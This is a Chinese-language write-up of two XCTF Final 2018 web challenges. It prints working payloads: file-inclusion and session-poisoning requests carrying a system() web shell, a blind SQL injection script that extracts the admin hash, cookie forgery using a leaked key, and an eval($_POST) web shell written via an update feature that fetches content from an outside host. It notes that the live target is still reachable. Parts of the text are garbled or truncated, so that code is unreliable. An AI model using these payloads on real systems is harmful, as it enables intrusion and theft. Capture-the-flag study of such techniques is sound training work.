




kss admin index.php,XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

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WEB1——Bestphp

这道题提供index.php源码

```
index.php
```

```
highlight_file(__FILE__);
```

```
error_reporting(0);
```

```
ini_set('open_basedir', '/var/www/html:/tmp');
```

```
$file = 'function.php';
```

```
$func = isset($_GET['function'])?$_GET['function']:'filters';
```

```
call_user_func($func,$_GET);
```

```
include($file);
```

```
session_start();
```

```
$_SESSION['name'] = $_POST['name'];
```

```
if($_SESSION['name']=='admin'){
```

```
header("location:admin.php");
```

```
}
```

```
?>
```

解题思路一

变量覆盖，调用文件包含

从index.php可以看出 `$_GET['function']` 和 `$_SESSION['name'] = $_POST['name']` 可控

其中 `call_user_func($func,$_GET);` 回调函数可利用

而且 `include($file);` 调用了文件包含

所以，可以调用变量覆盖函数，覆盖掉 `$file`，从而引入文件包含

payload:

```
http://10.99.99.16/?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php
```

一开始只是 `highlight_file` 给出index.php的源码，利用文件包含读到了admin.php和function.php的源码，不过对解题没啥卵用。

```
function.php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die("Do not hack me!");
}
}
}
?>
```

```
admin.php
hello admin
if(empty($_SESSION['name'])){
session_start();
#echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
}
?>
```

吐槽点：早上题目的环境是 php 7.2，extract函数是无法动态调用的，然后中午主办方偷偷改了环境为7.0，也不发公告说一声，浪费了很多时间。

调用session_start方法，修改session位置

从index.php可以看出 \$_SESSION['name'] = \$_POST['name']，session的值可控，session默认的保存位置

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/var/lib/php5/sess_PHPSESSID

/var/lib/php5/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

由于 ini_set('open_basedir', '/var/www/html:/tmp')，我们包含不了 /var/lib/ 下的session

但是我在tmp下也找不到自己的session，所以这里的session应该是在 /var/lib/ 下

这里可以调用session_start函数，修改session的位置

本地的payload:

POST /xctf-bestphp/index.php?function=session_start&save_path=. HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close


Upgrade-Insecure-Requests: 1

Content-Length: 21

Cookie: PHPSESSID=lfc5uk0rv8ndmjfv86u9tv6fk2

Content-Type: application/x-www-form-urlencoded

name=<?php phpinfo());



这里直接把session写到了web根目录,

并且内容可控

文件包含session, getshell

http://10.99.99.16/index.php?function=extract&file=./sess_lfc5uk0rv8ndmjfv86u9tv6fk2

比赛的payload

POST /index.php?function=session_start&save_path=/tmp HTTP/1.1

Host: 10.99.99.16

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 41

name=<?php echo "aaa";system(\$_GET[x]);?>

GET /index.php?

function=extract&file=/tmp/sess_a9tvfth9lfqabt9us85t3b07s1&x=cat+sdjbhudfhuahdjkasndjkasnbdfdf.php
HTTP/1.1

Host: 10.99.99.16

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1

Upgrade-Insecure-Requests: 1

解题思路二

php7.0的bug

是 php 7的一个小bug

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

string.strip_tags 可以导致php7在执行过程中奔溃

如果请求中同时存在一个文件上传的请求，这个文件就会被因为奔溃被保存在 /tmp/phpXXXXXX (XXXXXX是数字+字母的6位数)

这个文件是持续保存的，不用竞争，直接爆破，为了爆破成功可以多线程去上传文件，生成多个phpXXXXXX

burp多线程上传文件

POST /index.php?function=extract&file=php://filter/string.strip_tags/resource=function.php HTTP/1.1

Host: 10.99.99.16

Content-Length: 1701

Cache-Control: max-age=0

Origin: null

Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeScXqSzdW2v22xyk

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/69.0.3497.100 Safari/537.36

if 'aaaaaaaaaaaaaaaa' in response.content:

```
print "[+] Include success!"
```

```
return True
```

```
except Exception as e:
```

```
print e
```

```
return False
```

```
def main():
```

```
brute_force_tmp_files()
```

```
if __name__ == "__main__":
```

```
main()
```

```
getshell
```

爆破成功后，得到成功文件包含的shell

```
http://10.99.99.16/index.php?function=extract&file=/tmp/phpXXXXX
```

WEB2——PUBG

环境还没关，复现记得修改下host 159.138.22.212 guaika.txmeili.com

这题在比赛的时候利用的漏洞链是：sql注入+cookie伪造+后台getshell

解题思路

sql注入

代码位于 kss_inc/payapi_return2.php

关键代码：

这里的post参数没有调用该框架的sql过滤器，只是进行简单的trim()处理

```
else if ( $_obfuscate_kYyPkY_PkJKVh4qGjJGlio4 == "e138" )
```

```
{
```

```
$_obfuscate_kpGPh4mNh46SkZONh4eLIJU = "";
```

```
$_obfuscate_k42NkY2RkoiNjJCKIZSKilg = trim( $_POST['SerialNo'] );
```

```
$_obfuscate_iJWMjliVi5OGjJOViY2Li48 = $_obfuscate_k42NkY2RkoiNjJCKIZSKilg;
```

```
$_obfuscate_iluQkYaUioqGll6ljlumil8 = trim( $_POST['Status'] );
```

```
$_obfuscate_jpGJk5SSkJOlk4iQil_OhpU = trim( $_POST['Money'] );
```

```
$_obfuscate_lluQk5OGjpkVjY6Uil_QjJM = $_obfuscate_jpGJk5SSkJOlk4iQil_OhpU;
```

```
$_obfuscate_ilmJYmQjYyOjluVklumjls = trim( $_POST['VerifyString'] );
```

VerifyString的计算规则

```

else if ( $_obfuscate_kYyPkY_PkJKVh4qGjJGlio4 == "e138" )
{
$_obfuscate_k4mJh5SPkY6Vh4qHjlaJh44 = TRUE;
if ( $_obfuscate_ilmJjYmQjYyOjluVklumjls != strtolower( md5(
"SerialNo=".$_obfuscate_k42NkY2RkoiNjJCKIZSKilg."&UserID=".$_obfuscate_jl2JIY_QkoeQj5OLjouLIYo[
]))
{
$_obfuscate_k4mJh5SPkY6Vh4qHjlaJh44 = FALSE;
}
}

```

因为设置了AttachString=e138

所以 \$_obfuscate_jl2JIY_QkoeQj5OLjouLIYo[e138set] 值为1 所以VerifyString的值为

strtolower(md5("SerialNo=1&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1"))

即为ebd95c4233e8c02fe0854306afd71bee

但其实我们只要把参数都找到就ok了，因为不会先验证VerifyString，而是先验证SerialNo和Money参数
造成sql注入的代码如下：

```

$_obfuscate_IzGQj4iOj4mTIZGNjZGUj5E = $_obfuscate_jlaUileSjZWKllqLklqOioc-
>_obfuscate_iY6OkJCRkY2PjpCPk5CRkJA ( "select * from kss_tb_order where
ordernum=".$_obfuscate_iJWMjliVi5OGjJOViY2Li48." );


```


payload:

注入点在SerialNo

SerialNo=0'or(0)#&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd95c4233e8c02fe0854306afd71bee

SerialNo=1'or(1)#&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd95c4233e8c02fe0854306afd71bee





尝试注入得到admin的密码

kss_inc/db_function.php 中可以看到登陆逻辑

```
if ( empty( $_obfuscate_IlqUllaMj4aNjJCRkoeJIJE ) )
{
$_obfuscate_h5SQiYyTkY_PjYmRjZWPh4k = $_obfuscate_jlaUileSjZWKllqLklqOioc-
>_obfuscate_iY6OkJCRkY2PjpCPk5CRkJA( "select * from kss_tb_manager where id=1" );
if ( $_obfuscate_IlqUllaMj4aNjJCRkoeJIJE != md5(
$_obfuscate_h5SQiYyTkY_PjYmRjZWPh4k['username'].$_obfuscate_h5SQiYyTkY_PjYmRjZWPh4k['pass
'] ) )
{
_obfuscate_kYyOhouLjo2Gh4eNj4iQllg( "你的原始身份效验失败! " );
}
$_obfuscate_Il6OiJSPjZWM5GQhoiPjpU['level'] = 9;
$_obfuscate_Il6OiJSPjZWM5GQhoiPjpU['powerlist'] = "admin";
}
```

表名是 kss_tb_manager，字段是username和password，id是1

注入脚本 aye.py

```
#!/ coding:utf-8
import requests
import sys
if sys.getdefaultencoding() != 'utf-8':
    reload(sys)
    sys.setdefaultencoding('utf-8')
def main():
    url="http://guaika.txmeili.com:8888/kss_inc/payapi_return2.php"
```



```
chars = 'abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ=+*/\{\}?!:@#$$%&()
[],.''
```

```
result=""
```

```
for i in range(1,1000):
```

```
    i =str(i)
```

```
    for j in chars:
```

```
        j=ord(j)
```

```
        #SerialNo=0'or(1)#&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebdC
```

```
        < [ ] >
```

```
        payload =
```

```
        """"0'or(ascii(substr((select(concat(username,0x3a,password))from(kss_tb_manager)where(id=1)),%s,1))=%s)#"
        (i,j)
```

```
        < [ ] >
```

```
        data = {'SerialNo': payload,
```

```
                'UserID' : 1,
```

```
                'Money' : 100,
```

```
                'Status' : 1,
```

```
                'AttachString' : 'e138',
```

```
                'MerchantKey' : 1,
```

```
                'VerifyString' : 'ebd95c4233e8c02fe0854306afd71bee',
```

```
            }
```

```
        #print payload
```

```
        do_while = True
```

```
        while do_while:
```

```
            try:
```

```
                r=requests.post(url,data=data)
```

```
                if r.status_code == 200:
```

```
                    do_while = False
```

```
            except Exception as e:
```

```
                print str(e)
```

```
        #print r.text
```

```
        if '订单金额不符' in r.text:
```

```
            result += chr(j)
```

```
#print r.text

print result

if __name__ == "__main__":

main()
```

```
axing:8ccf03839a8c63
axing:8ccf03839a8c63a "0"or(fascii(substr((select(concat(username,0x3a,password)
HTTPConnectionPool(host='guaika.txmeili.com', port=8888): Max retries e
y NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f
no 111] Connection refused',))
axing:8ccf03839a8c63a3
axing:8ccf03839a8c63a3a "0g":'e138',
axing:8ccf03839a8c63a3a9 '':',
axing:8ccf03839a8c63a3a9d '': 'ebd95c4233e8c02fe0054306afd71bee',
axing:8ccf03839a8c63a3a9de
axing:8ccf03839a8c63a3a9de1
axing:8ccf03839a8c63a3a9de17
axing:8ccf03839a8c63a3a9de17f
axing:8ccf03839a8c63a3a9de17fa
axing:8ccf03839a8c63a3a9de17fa5 rl,data=data)
axing:8ccf03839a8c63a3a9de17fa5a "00":
axing:8ccf03839a8c63a3a9de17fa5ac
HTTPConnectionPool(host='guaika.txmeili.com', port=8888): Max retries e
y NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f
no 111] Connection refused',))
axing:8ccf03839a8c63a3a9de17fa5ac6
axing:8ccf03839a8c63a3a9de17fa5ac6a
axing:8ccf03839a8c63a3a9de17fa5ac6a1
axing:8ccf03839a8c63a3a9de17fa5ac6a19
axing:8ccf03839a8c63a3a9de17fa5ac6a192
```

得到账号密码:

axing:8ccf03839a8c63a3a9de17fa5ac6a192

密码在somed5解密得到

axing147258

但是登陆不了。。。赛后跟出题人交流才知道，他把管理员的密码和安全码最后一个字节改了，坑爹的是cmd5和somed5只是取了md5中间的16位进行相似匹配，允许误差



```
root@kali:~/tmp/test# echo -n "axing147258" | md5sum
8ccf03839a8c63a3a9de17fa5ac6a191 -
root@kali:~/tmp/test#
```

所以 数据库 92结尾的md5是反解不了的

这里也可以用sqlmap直接跑，就是要加上一些参数，不然跑不出来

sqlmap -r burp.txt -p SerialNo --dbms mysql --risk 3 --level 5 --string="订单金额不符" --technique B

POST /kss_inc/payapi_return2.php HTTP/1.1

Host: guaika.txmeili.com:8888

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate


Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 123

SerialNo=0&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd95c4233



cookie伪造

代码位于kss_inc/function.php

有setcookie_function(包含禁ip的逻辑)

```
function _obfuscate_jZKVIY6HkYmKklyRj4qSjlc( $_obfuscate_iYyTho_HIJCOh4yRj4ePj4k,  
$_obfuscate_ipCJIJOSIJSQkYqNIYqKlls )
```

```
{
```

```
setcookie( $_obfuscate_iYyTho_HIJCOh4yRj4ePj4k, $_obfuscate_ipCJIJOSIJSQkYqNIYqKlls, 0, "/",  
NULL, NULL, TRUE );
```

```
if ( BINDIP == 1 )
```

```
{
```

```
setcookie( $_obfuscate_iYyTho_HIJCOh4yRj4ePj4k."_ver", md5(  
$_obfuscate_ipCJIJOSIJSQkYqNIYqKlls.COOKIEY._obfuscate_jZKKjpCGkZSUj4aOilePIZI( ) ), 0, "/",  
NULL, NULL, TRUE );
```

```
}
```

```
else
```

```
{
```

```
setcookie( $_obfuscate_iYyTho_HIJCOh4yRj4ePj4k."_ver", md5(  
$_obfuscate_ipCJIJOSIJSQkYqNIYqKlls.COOKIEY ), 0, "/", NULL, NULL, TRUE );
```

```
}
```

```
return $_obfuscate_ipCJIJOSIJSQkYqNIYqKlls.COOKIEY;
```

```
}
```

位于kss_admin/index.php

调用了setcookie_function

```
_obfuscate_jZKVIY6HkYmKklyRj4qSjlc( "kss_manager", $_obfuscate_i4qGi5WLhoqPkoyGkoiMhpU );  
$_obfuscate_jlaUileSjZWKllqLklqOioc->_obfuscate_kpSOj5KVio2Hj4uKj4_KjIY( "update kss_tb_manager  
set  
'linecode'='".$_obfuscate_kl6PjYmLhpGMk4qGjZSHllg.", 'lastlogintime'='".$_obfuscate_jZGJkpOSky_HiY2Hj'  
)", 'lastloginip'='".$_obfuscate_kYmJjZOliZKJioqMkoaGiYk." where  
'id'='".$_obfuscate_kY_OIYeUlliVjo6Hio_Mkpl["id"], "notsync" );
```

```
$_obfuscate_i4mRjZCJIZCGk4_UioyHk4k["logintype"] = 1;
```

```
_obfuscate_jYuKk4uOiYmSkpOTj5GUIZA( $_obfuscate_i4mRjZCJIZCGk4_UioyHk4k );
```

```
$_obfuscate_i4qGi5WLhoqPkoyGkoiMhpU =  
$_obfuscate_kY_OIYeUlliVjo6Hio_Mkpl["id"].".".$_obfuscate_h4eSk4uGiZCKhoyNkliTI8.", ".md5(  
$_obfuscate_jZOliiJkJOgiY_KjoaGh4c ).".".$_obfuscate_kl6PjYmLhpGMk4qGjZSHllg;
```

```
_obfuscate_jZKVIY6HkYmKklyRj4qSjlc( "kss_manager", $_obfuscate_i4qGi5WLhoqPkoyGkoiMhpU );
```

其实就是调用了

```
setcookie_function( "kss_manager", $id, ".$username.", ".md5($password).", ".$linecode"
```

然后执行两句setcookie，得到kss_manager和kss_manager_ver两个cookie

```
setcookie( $_obfuscate_iYyTho_HIJCOh4yRj4ePj4k, $_obfuscate_ipCJIJOSIJSQkYqNIYqKlls, 0, "/",  
NULL, NULL, TRUE );
```

```
setcookie( $_obfuscate_iYyTho_HIJCOh4yRj4ePj4k."_ver", md5(  
$_obfuscate_ipCJIJOSIJSQkYqNIYqKlls.COOKIEKEY ), 0, "/", NULL, NULL, TRUE )
```

并且在 kss_inc/_config.php找到\$COOKIEKEY的值 XlpCcfoe_y43

```
define( "COOKIEKEY", "XlpCcfoe_y43" );
```

```
define( "COOKIEKEY2", "MGHOu2m|oXDz" );
```

也在 kss_inc/db_function.php

找到了\$linecode的值 efefefef

```
if ( $_obfuscate_lI6OiJSPjZWWi5GQhoiPjpU["linecode"] != $_obfuscate_h4_NjYili46Lh5KHkoaKkZQ[3] &&  
"efefefef" != $_obfuscate_h4_NjYili46Lh5KHkoaKkZQ[3] &&  
$_obfuscate_lI6OiJSPjZWWi5GQhoiPjpU["username"] != "test01" )
```

```
{  
_obfuscate_kYyOhouLjo2Gh4eNj4iQllg( "您的帐号被挤下线，请重新登陆" );
```

```
}
```

所以最终的两个cookie的键值分别是

kss_manager

1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefef

kss_manager_ver

md5("1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefef"."XlpCcfoe_y43")


即为

md5("1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefefXlpCcfoe_y43")

即为

b05a94ffcb3da369a828235012990953

成功伪造cookie，访问 kss_admin/admin.php



浏览器替换cookie



后台getshell

代码位于 kss_admin/admin_update

这个网站的更新，是从远端主站拉取代码写入本地:

```

_obfuscate_koiKkliPjI6UkYeRllqNhoc = _obfuscate_IY6Gk5KMKyMjlyPhpCOIYc(
"http://api.hphu.com/import/".$_obfuscate_koaSiYqGjIqMiZSLk4uGiZU.".php?
phpver=".PHP_VERSION."&webid=".WEBID."&rid=".time( ), 300 );

```

我们跟入 _obfuscate_IY6Gk5KMKyMjlyPhpCOIYc 函数

位于第20行，函数中有curl相关的操作

```
curl_setopt( $_obfuscate_joiNh4alhouViZGQho_JiI4, CURLOPT_HEADERFUNCTION, "read_header" );
```

```
curl_setopt( $_obfuscate_joiNh4alhouViZGQho_JiI4, CURLOPT_WRITEFUNCTION, "read_body" );
```

看下read_body函数

```
function read_body( $_obfuscate_joiNh4alhouViZGQho_JiI4, $_obfuscate_jJWMiJWJjoylkyMljY6VipM )
```

```

{
global $_obfuscate_ko6MhoiQkJKRIYeVio_JjYo◆;
global $_obfuscate_j4eNjZOQlluKhoqMj4mOjYs◆;
global $_obfuscate_koaSiYqGjIqMiZSLk4uGiZU◆;
if ( $_obfuscate_ko6MhoiQkJKRIYeVio_JjYo◆ == 0 && substr( $_obfuscate_jJWmiJWJjoylKymLjY6VipM◆,
0, 2 ) == "
{
$_obfuscate_j4eNjZOQlluKhoqMj4mOjYs◆ = 0;
}
$_obfuscate_ko6MhoiQkJKRIYeVio_JjYo◆ += strlen( $_obfuscate_jJWmiJWJjoylKymLjY6VipM◆ );
file_put_contents( KSSROOTDIR."kss_tool".DIRECTORY_SEPARATOR."_webup.php",
$_obfuscate_jJWmiJWJjoylKymLjY6VipM◆, FILE_APPEND );
echo "";
echo "\r\n";
ob_flush( );
flush( );
return strlen( $_obfuscate_jJWmiJWJjoylKymLjY6VipM◆ );
}

```

其中read_body函数会将curl到的内容写到 kss_tool/_webup.php

```

file_put_contents( KSSROOTDIR."kss_tool".DIRECTORY_SEPARATOR."_webup.php",
$_obfuscate_jJWmiJWJjoylKymLjY6VipM◆, FILE_APPEND );


```

这里我们可以利用代码中的sql过滤器，去触发某个页面的sql报错，从而将php代码回显，从而将恶意代码写入 kss_tool/_webup.php，构造webshell

例子：

构造sql报错并回显

http://api.hphu.com/test/kss_admin/index.php?action=aye666%27



构造更新路径


将报错的页面内容写入 kss_tool/_webup.php

http://guaika.txmeili.com:8888/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action=aye666%27




触发phpinfo

http://guaika.txmeili.com:8888/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php %2520phpinfo();?>



写shell

http://guaika.txmeili.com:8888/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php %2520eval(\$_POST[aye]);echo%2520"aye666"?>



getflag

